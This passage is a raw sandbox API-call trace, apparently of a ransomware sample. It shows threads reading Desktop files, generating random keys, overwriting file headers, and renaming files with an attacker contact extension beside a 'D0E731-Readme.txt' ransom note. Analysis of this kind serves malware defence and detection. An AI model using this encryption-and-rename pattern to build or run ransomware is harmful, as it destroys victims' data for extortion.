[0171.934] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1457fa04, lpOverlapped=0x0 | out: lpBuffer=0x30580e8*, lpNumberOfBytesWritten=0x1457fa04*=0x8, lpOverlapped=0x0) returned 1 [0171.935] WriteFile (in: hFile=0x5d4, lpBuffer=0x1457fa1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1457fa04, lpOverlapped=0x0 | out: lpBuffer=0x1457fa1c*, lpNumberOfBytesWritten=0x1457fa04*=0x4, lpOverlapped=0x0) returned 1 [0171.935] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1457fa04, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1457fa04*=0x4, lpOverlapped=0x0) returned 1 [0171.935] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1457fa04, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1457fa04*=0x6c, lpOverlapped=0x0) returned 1 [0171.935] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1457fa04, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x1457fa04*=0x20, lpOverlapped=0x0) returned 1 [0171.935] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1457fa04, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1457fa04*=0x4, lpOverlapped=0x0) returned 1 [0171.935] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0171.935] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058098) returned 1 [0171.935] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580e8) returned 1 [0171.935] CloseHandle (hObject=0x5d4) returned 1 [0172.290] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff1520 [0172.290] wcscpy (in: _Dest=0x2ff1520, _Source="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731" [0172.290] wcscat (in: _Dest=0x2ff1520, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.291] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\zo7berw.xlsx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\zo7berw.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.355] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.355] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1520) returned 1 [0172.355] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.355] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.355] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.355] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.355] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfbe8) returned 1 [0172.356] RtlExitUserThread (Status=0x1) Thread: id = 1963 os_tid = 0xfdc [0170.759] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\zykmtoifpz9q1yc2qg.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.874] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0171.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\zykmtoifpz9q1yc2qg.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0171.874] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x145ff7dc | out: lpFileSize=0x145ff7dc*=94003) returned 1 [0171.874] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x16f2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.874] ReadFile (in: hFile=0x5d4, lpBuffer=0x145ff7b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x145ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x145ff7b0*, lpNumberOfBytesRead=0x145ff7ac*=0x4, lpOverlapped=0x0) returned 1 [0171.875] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0171.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0171.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ff8 [0171.875] NtQuerySystemTime (in: CurrentTime=0x145ff788 | out: CurrentTime=0x145ff788*=132121213291858355) returned 0x0 [0171.875] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xe36c78c4 [0171.875] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xabd09b26 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x91d3306 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x15b0238a [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xf41843dd [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x75f89b81 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x2a0e0838 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x7278d33a [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xcdabe304 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xd05d5516 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x821d81fb [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x853af163 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xd9a1403c [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x8b43b846 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xdc05c24a [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x103a7258 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x1706837d [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xf89dcc5a [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x2cbf0dda [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xb518cca [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xc8f53e30 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xc390354d [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x631f8be1 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x22c263ab [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xcb2d0346 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xff893430 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x47915df9 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x3fc71d99 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0x947418a5 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xff5649f9 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xbcfa4598 [0171.876] RtlRandom (in: Seed=0x145ff794 | out: Seed=0x145ff794) returned 0xbd654953 [0171.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0171.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0171.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580e8 [0171.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0171.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0171.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0171.888] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.888] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x145ff760, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x145ff760*=0x4096, lpOverlapped=0x0) returned 1 [0171.888] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0171.889] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0171.889] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057c88 [0171.889] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057c88) returned 1 [0171.889] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0171.889] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058048 [0171.889] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058020 [0171.889] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058020) returned 1 [0171.889] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0171.889] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0171.889] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x145ff760, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x145ff760*=0x4096, lpOverlapped=0x0) returned 1 [0171.890] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0171.890] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x16f33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.890] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058048*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x145ff798, lpOverlapped=0x0 | out: lpBuffer=0x3058048*, lpNumberOfBytesWritten=0x145ff798*=0x20, lpOverlapped=0x0) returned 1 [0171.891] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058048) returned 1 [0171.891] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0171.891] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x145ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x30580e8*, lpNumberOfBytesWritten=0x145ff7ac*=0x8, lpOverlapped=0x0) returned 1 [0171.891] WriteFile (in: hFile=0x5d4, lpBuffer=0x145ff7c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x145ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x145ff7c4*, lpNumberOfBytesWritten=0x145ff7ac*=0x4, lpOverlapped=0x0) returned 1 [0171.891] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x145ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x145ff7ac*=0x4, lpOverlapped=0x0) returned 1 [0171.891] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x145ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x145ff7ac*=0x6c, lpOverlapped=0x0) returned 1 [0171.891] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x145ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x145ff7ac*=0x20, lpOverlapped=0x0) returned 1 [0171.891] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x145ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x145ff7ac*=0x4, lpOverlapped=0x0) returned 1 [0171.891] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0171.892] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058098) returned 1 [0171.892] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580e8) returned 1 [0171.892] CloseHandle (hObject=0x5d4) returned 1 [0172.290] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe2) returned 0x2fc4490 [0172.290] wcscpy (in: _Dest=0x2fc4490, _Source="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731" [0172.290] wcscat (in: _Dest=0x2fc4490, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.290] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\zykmtoifpz9q1yc2qg.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\zykmtoifpz9q1yc2qg.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.357] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.357] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4490) returned 1 [0172.357] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.357] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.357] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.357] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.357] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.357] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.357] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedc58) returned 1 [0172.357] RtlExitUserThread (Status=0x1) Thread: id = 1964 os_tid = 0xfe0 [0170.759] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\_imxnkhf3b.flv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.741] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.742] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\_imxnkhf3b.flv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0172.742] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x1467f938 | out: lpFileSize=0x1467f938*=38507) returned 1 [0172.742] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x9667, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.742] ReadFile (in: hFile=0x584, lpBuffer=0x1467f90c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1467f908, lpOverlapped=0x0 | out: lpBuffer=0x1467f90c*, lpNumberOfBytesRead=0x1467f908*=0x4, lpOverlapped=0x0) returned 1 [0172.743] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.743] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.743] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.743] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582f0 [0172.743] NtQuerySystemTime (in: CurrentTime=0x1467f8e4 | out: CurrentTime=0x1467f8e4*=132121213300618662) returned 0x0 [0172.743] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xf6542cd8 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x52d71609 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x2ecca7b6 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x74ef47bd [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x6702a3f [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xae69c268 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x334fe05b [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x623c85c6 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xbac2f441 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xce0850a5 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x4190c2fa [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xa214aed9 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x930bba70 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x67ed8be [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x41ce38e8 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xdc6af6a0 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x860b5cff [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x2d3bee8f [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xfe3be4c8 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xa24837b7 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x77a705dc [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xb80bcb92 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x81d0193f [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xf24adf2d [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x7b8401de [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xe51d933d [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x73c32e8b [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x33880db1 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xf3a489c4 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0xf0a7e886 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x61cb9816 [0172.744] RtlRandom (in: Seed=0x1467f8f0 | out: Seed=0x1467f8f0) returned 0x56344e70 [0172.753] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058318 [0172.755] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013350 [0172.755] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.755] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013350) returned 1 [0172.756] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.756] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.756] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.756] ReadFile (in: hFile=0x584, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1467f8bc, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1467f8bc*=0x4096, lpOverlapped=0x0) returned 1 [0172.757] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.757] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87818 [0172.757] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.757] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.757] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.757] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.757] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.757] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.757] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.757] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.757] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0172.757] WriteFile (in: hFile=0x584, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1467f8bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1467f8bc*=0x4096, lpOverlapped=0x0) returned 1 [0172.758] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.758] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x966b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.758] WriteFile (in: hFile=0x584, lpBuffer=0x30582a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1467f8f4, lpOverlapped=0x0 | out: lpBuffer=0x30582a0*, lpNumberOfBytesWritten=0x1467f8f4*=0x20, lpOverlapped=0x0) returned 1 [0172.758] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.758] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.758] WriteFile (in: hFile=0x584, lpBuffer=0x3058430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1467f908, lpOverlapped=0x0 | out: lpBuffer=0x3058430*, lpNumberOfBytesWritten=0x1467f908*=0x8, lpOverlapped=0x0) returned 1 [0172.758] WriteFile (in: hFile=0x584, 